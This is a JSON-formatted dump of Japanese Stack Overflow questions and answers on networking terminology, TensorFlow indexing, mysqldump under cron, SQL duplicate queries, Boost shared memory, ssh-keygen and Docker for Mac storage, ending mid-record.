"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T02:29:22.683",
"id": "31960",
"last_activity_date": "2017-01-19T02:29:22.683",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "17037",
"parent_id": "31954",
"post_type": "answer",
"score": 4
}
]
| 31954 | 31960 | 31960 |
{
"accepted_answer_id": "31961",
"answer_count": 2,
"body": "ネットワーク系の用語で TCP/IP という表記はよく目にしますが UDP/IP という表記はあまり見ません。 \nTCP も UDP も、どちらも IP ネットワーク上で実装されているプロトコルなのに奇妙に思います。 \nなぜ TCP だけ TCP/IP と表記しがちで UDP は UDP/IP と表記しないのでしょうか?",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T02:04:56.837",
"favorite_count": 0,
"id": "31958",
"last_activity_date": "2017-01-19T02:38:24.153",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "8589",
"post_type": "question",
"score": 15,
"tags": [
"network",
"専門用語"
],
"title": "UDP/IP と言わないのはなぜですか?",
"view_count": 8558
} | [
{
"body": "TCP/IPという用語はトランスポート層の1つTCPを指しているのではなく、[インターネット・プロトコル・スイート](https://ja.wikipedia.org/wiki/%E3%82%A4%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%8D%E3%83%83%E3%83%88%E3%83%BB%E3%83%97%E3%83%AD%E3%83%88%E3%82%B3%E3%83%AB%E3%83%BB%E3%82%B9%E3%82%A4%E3%83%BC%E3%83%88)より\n\n> インターネット・プロトコル・スイート(英: Internet protocol\n> suite)とは、インターネットおよび大多数の商用ネットワークで稼動するプロトコルスタックを実装する通信プロトコルの一式である。インターネット・プロトコル・スイートは、インターネットの黎明期に定義され、現在でも標準的に用いられている2つのプロトコル、Transmission\n> Control Protocol (TCP) とInternet Protocol (IP) にちなんで、 **TCP/IP**\n> プロトコル・スイートとも呼ばれる。\n\nこちらの意味ではないでしょうか? \nですのでUDPを使用するDNSもTCP/IPに含められて扱われたりすると思います。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T02:23:35.197",
"id": "31959",
"last_activity_date": "2017-01-19T02:23:35.197",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "4236",
"parent_id": "31958",
"post_type": "answer",
"score": 5
},
{
"body": "TCP/IPというのはTCPとIPの組合せのみを指している言葉ではなく、TCP及びIPを含むプロトコル群の総称です。 \n1974年にはTCP/IPの最初の仕様である[RFC675](https://www.rfc-editor.org/rfc/rfc675\n\"RFC675\")が制定されましたが、その当時はUDPというプロトコルは存在しませんでした。 \nUDPは1980年に[RFC786](https://www.rfc-editor.org/rfc/rfc768\n\"RFC786\")が制定されTCP/IPに含まれることになりました。\n\n歴史的な経緯で「TCP/IP」という表現になっていますがその中にはUDPも含まれているということです。 \nまた、総称的な意味であれば「Internet Protocol\nSuite」という表現をする方が適切だとされることもあるので質問者さんと同じことを思っている人はそれなりに居るのではないでしょうか。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T02:38:24.153",
"id": "31961",
"last_activity_date": "2017-01-19T02:38:24.153",
"last_edit_date": "2021-10-07T07:34:52.683",
"last_editor_user_id": "-1",
"owner_user_id": "20237",
"parent_id": "31958",
"post_type": "answer",
"score": 18
}
]
| 31958 | 31961 | 31961 |
{
"accepted_answer_id": "31970",
"answer_count": 1,
"body": "Tensorflow初心者です。 \nコードの書き方が全くわからなくて困っています。 \nもし良ければ教えて頂きたいです。\n\n質問なんですけれど、 \n入力データは縦20横20の配列で、 \n1行に入る要素は'1'が1個、残りは'0'です。 \nそれが20列あります。\n\n答えは縦1横20の配列で、 \nこれも要素は'1'が1個、'0'が19個です。\n\n【例】5*5の場合\n\n```\n\n 1 0 0 0 0\n 0 1 0 0 0\n 0 1 0 0 0 → 0 1 0 0 0\n 0 0 1 0 0\n 0 0 0 0 1\n 入力データ 答えデータ\n \n```\n\n \n入力データから、任意の'1'を選んで、 \n答えと一致させるプログラムを作りたいです。 \n例の場合だと、左から2番目を選んでほしいです。 \n(2行目か3行目かは問わない)\n\nTensorflowのチュートリアルのMNISTをそのまま \n入力データを上記のに替えて試しましたが \n学習の正答率があがりませんでした。 \n私がやりたいのにはフィルターなどはいらないと \n分かったものの、どうコードを書いて良いのか \n全く分からない状態です。\n\n教えてください、お願いします。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T06:08:31.293",
"favorite_count": 0,
"id": "31964",
"last_activity_date": "2017-01-20T14:01:36.817",
"last_edit_date": "2017-01-20T14:01:36.817",
"last_editor_user_id": "3054",
"owner_user_id": "20294",
"post_type": "question",
"score": 0,
"tags": [
"python",
"tensorflow"
],
"title": "Tensor中からマッチする要素のindexの返し方について",
"view_count": 4873
} | [
{
"body": "tf.argmax()を使うことでそのtensorlの最大値が入っているindexを得ることができます。(例の答えの場合1が得られます)\n\ntf.equal()を使うことで要素が一致するindexにTrueが入ったtensorを得ることが出来ます。\n\ntf.where()にてTrueとなるindexの位置を得ることが出来ます。\n\n例の場合入力データをx \n答えデータをy \nとすると \ntf.equal(tf.argmax(x,1),tf.argmax(y,0)) \nとすることで \narray([False, True, True, False, False] \nというtensorが得ることが出来。\n\ntf.where(tf.equal(tf.argmax(x,1),tf.argmax(y,0))) \nとすることで \narray([1],[2]) \nが得ることが出来ます。\n\n* * *\n\n追記: \n質問者様の「配列」を勝手にtensorであると思って回答しましたが、 \nnp.array等で生成された普通の配列のことを指していましたでしょうか。 \nであればそれぞれ \nnp.where \nnp.equal \nnp.argmax \nに置き換えることで同様の処理が可能です。",
"comment_count": 4,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T06:51:37.637",
"id": "31970",
"last_activity_date": "2017-01-19T07:36:46.243",
"last_edit_date": "2017-01-19T07:36:46.243",
"last_editor_user_id": "19716",
"owner_user_id": "19716",
"parent_id": "31964",
"post_type": "answer",
"score": 2
}
]
| 31964 | 31970 | 31970 |
{
"accepted_answer_id": null,
"answer_count": 3,
"body": "**環境** \n・CentOS \n・MySQL 5.6 … パスワードはmysql_config_editorで設定 \n・Linuxユーザ名 … test\n\n* * *\n\n**下記コマンドを実行したら、期待した通りファイルが作成されるのですが、**\n\n```\n\n sh hoge.sh\n \n```\n\n▼hoge.sh\n\n> mysqldump --single-transaction -u データベースユーザ名 データベース名 > \n> /home/test/バックアップディレクトリ名/ファイル名\n\n* * *\n\n**crontab経由で、shファイルを実行したら、サイズが0のファイルが作成され、dumpデータが取得できません** \n・cronのエラーメールも送られてきません(cronエラーではないから?)\n\n>\n```\n\n> 1 15 * * * root /bin/bash /home/test/hoge.sh\n> \n```\n\n* * *\n\n**権限関連が原因のような気もするのですが、rootで実行したら何でもいけるわけではないのでしょうか?**\n\n```\n\n ls -la\n \n```\n\n> -rwxrwxrwx 1 test test 270 1月 19 14:52 2017 hoge.sh\n\n* * *\n\n**追記** \n・その後、色々試した結果、shファイルに記述しているコマンド内のmysqldumpにpオプションを付与すれば、crontab経由からも正常にファイル取得できることがわかりました \n・しかし、mysql_config_editorを使用することで、コマンドからパスワード指定しなくてもログインできるよう設定しているのですが、この方式ではcrontab経由から、データ取得できないのでしょうか? \n・mysqldumpエラーをファイル出力しようと思い、「-r ファイル名」としたのですが、取得できませんでした\n\n* * *\n\n**再追記**\n\n・現状をようやく確認できました(cron以前の問題?) \n・hoge.shをtestユーザとして直接実行すると、正常動作します \n・hoge.shをrootユーザとして直接実行すると、下記エラー発生\n\n> mysqldump: Got error: 1045: Access denied for user 'test'@'localhost' \n> (using password: NO) when trying to connect\n\n・hoge.shのdumpコマンドにパスワードを付与してcron経由で(rootユーザとして)実行すると、正常動作します\n\n・mysqlテーブルを「select * from user;」すると、rootユーザもtestユーザもいます。パスワードは同じです\n\n```\n\n $ mysql_config_editor print --all\n \n```\n\n[test] \nuser = test \npassword = ***** \nhost = localhost \n[mysqldump] \nuser = root \npassword = ***** \n[root] \nuser = root \npassword = ***** \nhost = localhost\n\nそもそも根本的なことが分かっていないのですが、shの実行権限が何であれ、MySQLにはsh内のmysqldumpコマンドで記述したデータベースユーザ名でアクセスするわけではないのでしょうか?「mysqldump\n-u データベースユーザ名」",
"comment_count": 6,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T06:16:08.417",
"favorite_count": 0,
"id": "31965",
"last_activity_date": "2018-07-11T05:19:37.203",
"last_edit_date": "2017-02-08T03:03:35.730",
"last_editor_user_id": "7886",
"owner_user_id": "7886",
"post_type": "question",
"score": 0,
"tags": [
"mysql",
"linux",
"shellscript",
"sh"
],
"title": "MySQLパスワードをmysql_config_editorで設定している場合、crontab経由で、shファイルを実行したときだけ、mysqldump結果のファイルサイズが0になるのですが",
"view_count": 862
} | [
{
"body": "よく見たらユーザ名記載していますね……\n\n`cron.d`で自動実行する処理については\"root\"の指定が出来るかと思いますが、 \n`crontab`については`crontab`の実行ユーザの権限で処理が行われるため \n\"root\"で実行していない限り\"root\"の権限で処理は行えないはずです。\n\nまた、crontabはユーザ毎に実行したユーザが所有者でcrontabのファイルが作成されますが、 \n上記のことからして、crontabファイルの権限を変えたりしてしまうとcronが実行されません。 \n(セキュリティ的に当たり前ですよね)\n\n色んなユーザの権限で複数処理したいなら\"cron.d\"に記載するか \nそもそもの実行権限を持つユーザでcrontabを編集するといいです。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T06:54:37.020",
"id": "31971",
"last_activity_date": "2017-01-19T06:54:37.020",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": null,
"parent_id": "31965",
"post_type": "answer",
"score": 0
},
{
"body": "crontab から実行される環境では、`HOME=/` になっているため、/root/.my.cnf や /root/.mylogin.cnf\nが読み込めないのではないでしょうか。 \nhoge.sh に `export HOME=/root` と設定するとどうでしょうか。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T15:22:10.410",
"id": "31993",
"last_activity_date": "2017-01-19T15:22:10.410",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "4603",
"parent_id": "31965",
"post_type": "answer",
"score": 0
},
{
"body": "`mysql_config_editor` で設定した内容は ~$HOME/.mylogin.cnf` に保存されます。\n\n`root` で `mysqldump` 実行すると `/root/.mylogin.cnf`\nを参照しようとしますが、このファイルが存在しないので、認証に失敗していると思います。\n\n恐らく `mysql_config_editor` を設定したのが `test` ユーザだったというオチでは?と思いました。\n\n> 1 15 * * * root /bin/bash /home/test/hoge.sh\n\ncrontab の 6番目のフィールドに `root` と書かれているので `hoge.sh` は root ユーザの権限で実行されています。これを\n`test` に書き換えみてください。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-06-08T12:46:02.273",
"id": "35404",
"last_activity_date": "2017-06-08T12:46:02.273",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "5008",
"parent_id": "31965",
"post_type": "answer",
"score": 1
}
]
| 31965 | null | 35404 |
{
"accepted_answer_id": "31967",
"answer_count": 3,
"body": "お世話になっております。 \nいろいろと調べたのですが、なかなか期待通りの結果が出ないので質問させて頂きます。 \n \n**tableA**\n\n```\n\n ID DATE DAI col1 cal2\n 22 19970901 0 2 l7 \n 22 19970901 0 3 r7 \n 22 19970912 0 0 NULL \n 22 19970912 0 1 R7 \n 22 19970912 0 2 R76 \n 22 19970912 0 3 l7 \n 22 19971205 0 0 NULL \n 22 19971205 0 1 l7 \n 22 19971205 0 2 l4 \n 22 19971216 0 0 NULL \n 22 19971216 0 1 l7 \n 22 19971216 0 2 r32 \n 22 19980127 0 0 NULL \n 22 19980127 0 1 R1 \n 22 19980127 0 2 R3 \n 22 19980127 1 0 NULL \n 22 19980127 1 1 R1 \n 22 19980206 0 0 NULL \n 22 19980206 0 1 R2 \n 22 19980206 0 2 R3 \n 22 19980206 0 3 R2 \n 22 19980217 0 0 NULL \n 22 19980217 0 1 R2 \n 22 19980217 0 2 R3 \n 22 19980407 0 0 NULL \n 22 19980407 0 1 L67 \n 22 19980407 0 2 R765 \n 22 19980428 0 0 NULL \n 22 19980428 0 1 L67 \n 22 19980428 0 2 r7 \n 22 19980428 0 3 R7 \n 22 19980428 0 4 L2345 \n 22 19980428 1 0 NULL \n \n```\n\n`cal2`が`null`で、`DAI`が`1`か`0`で、同じ日付のレコード期待値としては\n\n```\n\n 22 19980127 0 0 NULL \n 22 19980127 1 0 NULL\n 22 19980428 0 0 NULL\n 22 19980428 1 0 NULL\n \n```\n\nこの4件が抽出できるようにしたいです。 \nご教授の程よろしくお願いします。\n\n回答頂いた方すみません。レコードと抽出条件が説明不足でした。\n\n再度書き直したので検討よろしくお願いします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T06:31:31.753",
"favorite_count": 0,
"id": "31966",
"last_activity_date": "2017-01-19T11:17:03.140",
"last_edit_date": "2017-01-19T07:46:32.843",
"last_editor_user_id": "9566",
"owner_user_id": "19310",
"post_type": "question",
"score": 0,
"tags": [
"sql"
],
"title": "SQL 重複するレコードを抽出したい",
"view_count": 14422
} | [
{
"body": "副問い合わせに`HAVING`句を使えばいいのでは。\n\n```\n\n SELECT *\n FROM tableA\n WHERE DATE IN\n (\n SELECT DATE\n FROM tableA\n GROUP BY DATE\n HAVING COUNT(*) > 1\n )\n \n```\n\n上記のSQLについて解説すると、まず`WHERE DATE IN\n(...)`と副問い合わせを用いることで「レコードの表示」の前に重複する`DATE`をあらかじめ検索することを考えます。\n\n次に「重複する`DATE`の検索」ですが、これには`GROUP\nBY`と`HAVING`を併用します。`HAVING`句の条件はグループ化の後に評価されるため、`COUNT(*)`は`GROUP BY\nDATE`の各グループのレコード数を表します。ですので上記の副問い合わせで「重複する`DATE`」を`SELECT`することが可能です。\n\n# 追記\n\n`tableA`に事前に条件を追加したいということですので、payanecoさんの方法で問題ないと思いますが上のSQLを共通表式に対して使用する方法を記載しておきます。\n\n```\n\n WITH cte\n AS\n (\n SELECT *\n FROM tableA\n WHERE DAI IN ('0', '1')\n AND cal2 IS NULL\n )\n SELECT *\n FROM cte\n WHERE DATE IN\n (\n SELECT DATE\n FROM cte\n GROUP BY DATE\n HAVING COUNT(*) > 1\n )\n \n```\n\nこの方式は`cte`の条件が複雑である場合にコードが簡潔になります。今回は2個なので二か所に記述したほうが短くなりますが。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T06:39:29.957",
"id": "31967",
"last_activity_date": "2017-01-19T08:53:00.533",
"last_edit_date": "2020-06-17T08:14:45.997",
"last_editor_user_id": "-1",
"owner_user_id": "5750",
"parent_id": "31966",
"post_type": "answer",
"score": 4
},
{
"body": "pgrhoさんのSQLをベースにして、WHERE句に抽出条件を追記すれば対応できると思います。 \n副問い合わせで`19980127`と`19980428`を取得して、外側の主問い合わせでも同様に抽出条件を指定します。\n\n```\n\n SELECT *\n FROM tableA\n WHERE DATE IN\n (\n SELECT DATE\n FROM tableA\n WHERE cal2 is null\n AND DAI in (0, 1)\n GROUP BY DATE\n HAVING COUNT(*) > 1\n )\n AND cal2 is null\n AND DAI in (0, 1)\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T08:22:50.047",
"id": "31976",
"last_activity_date": "2017-01-19T08:22:50.047",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "9820",
"parent_id": "31966",
"post_type": "answer",
"score": 3
},
{
"body": "window関数の使えるRDBMS(PostgreSQLなど)なら、\n\n```\n\n SELECT\n id, date, dai, col1, cal2\n FROM (\n SELECT\n *,\n COUNT(*) OVER (PARTITION BY date) AS dup_count\n FROM\n table1 T1\n WHERE\n cal2 IS NULL\n AND\n dai IN (0, 1)\n ) AS T1\n WHERE\n dup_count >= 2\n ;\n \n```\n\nとすることで、サブクエリを記述せずに済みます \n計算途中の状態をSELECTで確認できるので、ロジックを簡潔に保ちやすいです",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T11:17:03.140",
"id": "31984",
"last_activity_date": "2017-01-19T11:17:03.140",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "9796",
"parent_id": "31966",
"post_type": "answer",
"score": 1
}
]
| 31966 | 31967 | 31967 |
{
"accepted_answer_id": "32035",
"answer_count": 1,
"body": "uchar*のvectorを保持する構造体のvectorのアロケートがどうしてもうまく行きません。 \nmain関数内のwhileの処理終了後にエラーが出ます。\n\nmain関数のwhileに入る前に\n\n```\n\n auto &data = Shared::locate(smt);\n \n```\n\nを実行したら必ずWhile文終了後にエラーになります。(core dump) \nこのエラーは何を意味しているのか検索しても出てきません。 \nどういうときに出るエラーなのですか?\n\n[](https://i.stack.imgur.com/mFJdZ.png)\n\n```\n\n #include <cv.h>\n #include <cxcore.h>\n #include <highgui.h>\n #include <boost/interprocess/managed_shared_memory.hpp>\n #include <boost/interprocess/managed_mapped_file.hpp> // use for Coliru\n #include <boost/interprocess/containers/vector.hpp> // boost/containers/vector.hpp\n #include <boost/interprocess/containers/string.hpp> // boost/containers/string.hpp\n #include <iostream>\n #include <sys/time.h>\n #include <stdio.h>\n \n // void_allocator;\n namespace bip = boost::interprocess;\n \n typedef unsigned char uchar;\n //Typedefs of allocators and containers\n typedef bip::managed_shared_memory::segment_manager segment_manager_t;\n typedef bip::allocator<void, segment_manager_t> void_allocator;\n \n typedef void_allocator::rebind<uchar>::other uchar_allocator;\n typedef bip::vector<uchar, uchar_allocator> uchar_vector;\n \n \n \n template <typename Alloc = std::allocator<uchar> >\n struct BasicInData {\n \n public:\n BasicInData(Alloc alloc = {}) : image(alloc)\n { }\n \n template <typename T>\n BasicInData(double x, int sizeImg, uchar_vector& image, Alloc alloc = {}) :\n x(x), sizeImg(sizeImg), image(alloc)\n { }\n \n double x = 0;\n int sizeImg = 0;\n uchar_vector image;\n };\n \n using InData = BasicInData<>; // just heap allocated\n \n namespace Shared {\n using segment = bip::managed_shared_memory;\n using segment_manager = segment::segment_manager;\n \n template <typename T> using alloc = bip::allocator<T, segment_manager>;\n template <typename T> using vector = bip::vector<T, alloc<T> >;\n \n using InData = BasicInData<alloc<uchar> >; // shared memory version\n \n vector<InData>& locate(segment& smt) {\n auto* v = smt.find_or_construct<vector<InData> >(\"InDataVector\")(smt.get_segment_manager());\n assert(v);\n return *v;\n }\n }\n \n \n int main(int argc, char* argv[]) {\n \n if(argc == 1){ //Parent process\n // Remove shared memory on construction and destruction\n bip::shared_memory_object::remove(\"MySharedMemory\");\n // Create a new segment with given name and size\n struct timeval tv;\n gettimeofday(&tv, NULL);\n struct shm_remove\n {\n shm_remove(){bip::shared_memory_object::remove(\"MySharedMemory\");}\n ~shm_remove(){bip::shared_memory_object::remove(\"MySharedMemory\");}\n }remover;\n Shared::segment smt(bip::create_only,\"MySharedMemory\", 100000000);\n auto &data = Shared::locate(smt);\n //Shared::alloc bip::alloc_inst (data);\n \n cv::Mat_<cv::Vec3b> mat;\n cv::VideoCapture vcap(0);\n \n Shared::InData id(smt.get_segment_manager());\n \n \n if (!vcap.isOpened())\n return -1;\n char count = 0;\n while (1) {\n vcap >> mat;\n printf (\"count: %d \\n\", count); count++;\n int image_size = mat.total() * mat.elemSize();\n printf (\"size: %d \\n\", image_size);\n id.sizeImg = image_size;\n printf (\"id's sizeImg: %d \\n\", id.sizeImg * sizeof(uchar));\n id.image.resize(image_size * sizeof(uchar));\n int totalSize = image_size * sizeof(uchar);\n printf (\"count: %d \\n\", count);\n memcpy(&id.image[0], mat.data, image_size * sizeof(uchar));\n //Launch child process\n gettimeofday(&tv, NULL);\n double time = ((double)tv.tv_usec/1000000);\n id.x = time;\n data.push_back(id);\n if((100000000 / count) <= (totalSize*20)){ printf(\"Getting video data done\"); break; }\n }\n \n std::string s(argv[0]); s += \" child\";\n if(0 != std::system(s.c_str()))\n return 1;\n \n // check child has destroyed the vector\n if(smt.find<Shared::vector<InData>>(\"InDataVector\").first)\n return 1;\n \n } else{\n // Open the managed segment\n bip::managed_shared_memory segment(bip::open_only, \"MySharedMemory\");\n \n // Find the vector using c-string name\n bip::vector<InData> *myvector = segment.find<bip::vector<InData>>(\"InDataVector\").first;\n // Use vector in reverse order\n \n bip::vector<InData>::iterator it;\n \n cv::Mat_<cv::Vec3b> im;\n for(it = myvector->begin(); it !=myvector->end(); ++it){\n im.resize(it->sizeImg);\n memcpy(im.data, &it->image[0], it->sizeImg);\n cv::imshow(\"window1\", im);\n }\n \n segment.destroy<bip::vector<InData>>(\"InDataVector\");\n \n return 0;\n }\n return 0;\n }\n \n```",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T06:43:34.410",
"favorite_count": 0,
"id": "31968",
"last_activity_date": "2017-01-21T02:29:10.050",
"last_edit_date": "2017-01-20T02:56:07.990",
"last_editor_user_id": "19922",
"owner_user_id": "19922",
"post_type": "question",
"score": 0,
"tags": [
"c++",
"boost",
"memory-leaks",
"nullpointerexception"
],
"title": "Boost shared memory でのアロケートがうまく行かない?",
"view_count": 319
} | [
{
"body": "> While文終了後にエラーになります。(core dump) \n> このエラーは何を意味しているのか検索しても出てきません。 \n> どういうときに出るエラーなのですか?\n\nプログラムの実行中に回復不可能なエラーが発生し、実行を中止せざるを得ない場合に、デバッグを目的としてメモリ状態一式を保存してからプログラムを終了させます。ここで保存された情報をコアファイルと呼び、保存する行為をコアダンプと呼びます。\n\nですので、回復不可能なエラーが発生したことしかわからず、どのようなエラーが発生したのかはコアファイルの解析(デバッグ)が必要になります。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-21T02:29:10.050",
"id": "32035",
"last_activity_date": "2017-01-21T02:29:10.050",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "4236",
"parent_id": "31968",
"post_type": "answer",
"score": 0
}
]
| 31968 | 32035 | 32035 |
{
"accepted_answer_id": "31975",
"answer_count": 1,
"body": "ssh-keygen で生成した秘密鍵があります。\n\n```\n\n % ssh-keygen -N '' -f test\n Generating public/private rsa key pair.\n Your identification has been saved in test.\n Your public key has been saved in test.pub.\n The key fingerprint is:\n d8:65:bb:19:09:98:76:6e:be:c0:03:78:fd:02:d8:44 vagrant@vagrant-ubuntu-trusty-64\n The key's randomart image is:\n +--[ RSA 2048]----+\n | E |\n | . o |\n | . + o o |\n | = o = + o |\n | o = o S + |\n | . + + + |\n | = o o |\n | + . |\n | . |\n +-----------------+\n \n```\n\nこのように生成された秘密鍵(だけ)があった時に、公開鍵を作成したいと思いました。 \n<https://stackoverflow.com/questions/10271197/openssl-how-to-extract-public-\nkey> などを参考にし、次のコマンドを実行しました。\n\n```\n\n openssl rsa -in test -pubout > test.pub.hand\n \n```\n\n結果として得られた、`test.pub` と`test.pub.hand` には差分があります。それぞれ、\n\n### test.pub\n\n(長い1行なので、 quote で、、)\n\n> ssh-rsa\n> AAAAB3NzaC1yc2EAAAADAQABAAABAQC5JbG7ofNdWaTCqWUeAsof6FTqJyAR23/r7ZuCHbPGgT5h8jjluJT44ASFKXuFAqh0fVFE2CPviDUvPOi3kUApwk4wozdntZD4LwSR5aW/hXTnvtHxd5fKDM+IWSTDXH5ZONjTsClJNKQbhyBzcXqSQ3QnxPPsoC1Hau1OIvsQsnROjqWzI/1MoYSbGq5uNPeyuDKlVcGNWjOrb0kGrQeQzSHht04NaXulWRzkmsr365JFd+HDuFio8nBBOBs8JTFAZo9EpFLLqNZ9mqRHPl47AoLrdWanRQewPgaXqQdpQGip4vyK0Sfff4NwZwTbtWYHrnL0bKrfNPEl5PEmqJ9t\n> vagrant@vagrant-ubuntu-trusty-64\n\n### test.pub.hand\n\n```\n\n -----BEGIN PUBLIC KEY-----\n MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuSWxu6HzXVmkwqllHgLK\n H+hU6icgEdt/6+2bgh2zxoE+YfI45biU+OAEhSl7hQKodH1RRNgj74g1Lzzot5FA\n KcJOMKM3Z7WQ+C8EkeWlv4V0577R8XeXygzPiFkkw1x+WTjY07ApSTSkG4cgc3F6\n kkN0J8Tz7KAtR2rtTiL7ELJ0To6lsyP9TKGEmxqubjT3srgypVXBjVozq29JBq0H\n kM0h4bdODWl7pVkc5JrK9+uSRXfhw7hYqPJwQTgbPCUxQGaPRKRSy6jWfZqkRz5e\n OwKC63Vmp0UHsD4Gl6kHaUBoqeL8itEn33+DcGcE27VmB65y9Gyq3zTxJeTxJqif\n bQIDAQAB\n -----END PUBLIC KEY-----\n \n```\n\n## 質問\n\nssh-keygen で生成された秘密鍵から、公開鍵を作成するには、どうしたらいいでしょうか。 \n特に、 authorized_keys に append できる形で .pub を生成したいと考えています。 \nそのためには、上記の例で言えば、最初の方の形式であると認識しています。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T07:52:09.680",
"favorite_count": 0,
"id": "31972",
"last_activity_date": "2017-01-19T08:00:28.200",
"last_edit_date": "2017-05-23T12:38:55.307",
"last_editor_user_id": "-1",
"owner_user_id": "754",
"post_type": "question",
"score": 1,
"tags": [
"ssh",
"openssh"
],
"title": "秘密鍵から .pub ファイルを作成するには?",
"view_count": 581
} | [
{
"body": "`-y` オプションを利用してください。\n\n```\n\n ssh-keygen -y -f test\n \n```\n\n`man ssh-keygen` より:\n\n>\n```\n\n> -y This option will read a private OpenSSH format file and print an\n> OpenSSH public key to stdout.\n> \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T08:00:28.200",
"id": "31975",
"last_activity_date": "2017-01-19T08:00:28.200",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "76",
"parent_id": "31972",
"post_type": "answer",
"score": 3
}
]
| 31972 | 31975 | 31975 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "Docker for Macを使っています。 imageファイルの格納場所が分からず困っています。\n\n```\n\n docker run hello-world\n \n```\n\nをしました。 もちろん手元にはhell0-worldのimageファイルは無いのでpullされました。\n\n```\n\n Unable to find image 'hello-world:latest' locally\n latest: Pulling from library/hello-world\n \n```\n\n調べたらimageファイルは/var/lib/dockerに格納されていると色んなサイトに書いてありましたが/var/lib配下にdockerディレクトリが存在しません。\nどこにあるのかわかる方教えていただけないでしょうか。\n\nちなみに\n\n```\n\n docker info\n \n```\n\nをやってみると以下の様に出力されます。\n\n```\n\n Containers: 1\n Running: 0\n Paused: 0\n Stopped: 1\n Images: 1\n Server Version: 1.12.6\n Storage Driver: aufs\n Root Dir: /var/lib/docker/aufs\n Backing Filesystem: extfs\n Dirs: 3\n Dirperm1 Supported: true\n Logging Driver: json-file\n Cgroup Driver: cgroupfs\n Plugins:\n Volume: local\n Network: null bridge overlay host\n Swarm: inactive\n Runtimes: runc\n Default Runtime: runc\n Security Options: seccomp\n Kernel Version: 4.4.41-moby\n Operating System: Alpine Linux v3.4\n OSType: linux\n Architecture: x86_64\n CPUs: 2\n Total Memory: 1.951 GiB\n Name: moby\n ID: AIWI:PO46:XT4Y:3T4V:DKNZ:AKAH:ALXA:XIIF:NZYO:XD5G:FE6O:S4MT\n Docker Root Dir: /var/lib/docker\n Debug Mode (client): false\n Debug Mode (server): true\n File Descriptors: 22\n Goroutines: 29\n System Time: 2017-01-19T05:27:23.039809683Z\n EventsListeners: 1\n No Proxy: *.local, 169.254/16\n Registry: https://index.docker.io/v1/\n WARNING: No kernel memory limit support\n Insecure Registries:\n 127.0.0.0/8\n \n```\n\n中身に\n\n```\n\n Root Dir: /var/lib/docker/aufs\n \n```\n\nと記載があるのですが、このディレクトリにアクセスできません。 と言うかdockerというディレクトリがありません。 わかる方教えてください。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T05:40:07.080",
"favorite_count": 0,
"id": "31973",
"last_activity_date": "2017-03-10T14:13:41.537",
"last_edit_date": "2017-01-19T10:16:42.240",
"last_editor_user_id": "8000",
"owner_user_id": null,
"post_type": "question",
"score": 0,
"tags": [
"macos",
"docker"
],
"title": "Docker for Macでimageをpullしたのに/var/lib/dockerディレクトリがない",
"view_count": 5491
} | [
{
"body": "Dockerのimageファイルが直接macOSのファイルシステムには保存されていません。\n\nユーザのホームディレクトリの下:\n\n```\n\n ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux\n \n```\n\nに`Docker.qcow2`と言う仮想マシン(Linux)のイメージが入っています。\n\nimageファイルはそのマシンのファイルシステムに保存されています。\n\n* * *\n\nしたがって、`/var/lib/docker/aufs`と言うなどは、その仮想マシンの中のパスになっています。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T13:47:30.370",
"id": "31988",
"last_activity_date": "2017-01-19T13:47:30.370",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "12732",
"parent_id": "31973",
"post_type": "answer",
"score": 2
}
]
| 31973 | null | 31988 |
{
"accepted_answer_id": "31978",
"answer_count": 1,
"body": "androidのアプリを作っていて、color.xmlを作りそこに16進のカラーコードで好きな色を定義しました。 \nそれらをテキスト等の色に設定したのですが、アプリ起動時には全て黒ないしはグレーになってしまいます。 \n元からあるColor.BLUEなどを入れると正常に青く表示されます。 \nRGBをべた打ちする方法もありますが、それだといちいち面倒くさくて出来ません。 \n元からある色以外を使う正しい方法はありますでしょうか。\n\nEclipseでAndroid6.0を対象としています。 \nデバイスはXperia Z3 Tablet Compactです。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-19T08:41:53.373",
"favorite_count": 0,
"id": "31977",
"last_activity_date": "2017-01-24T01:55:31.710",
"last_edit_date": "2017-01-24T01:37:53.503",
"last_editor_user_id": "76",
"owner_user_id": "20275",
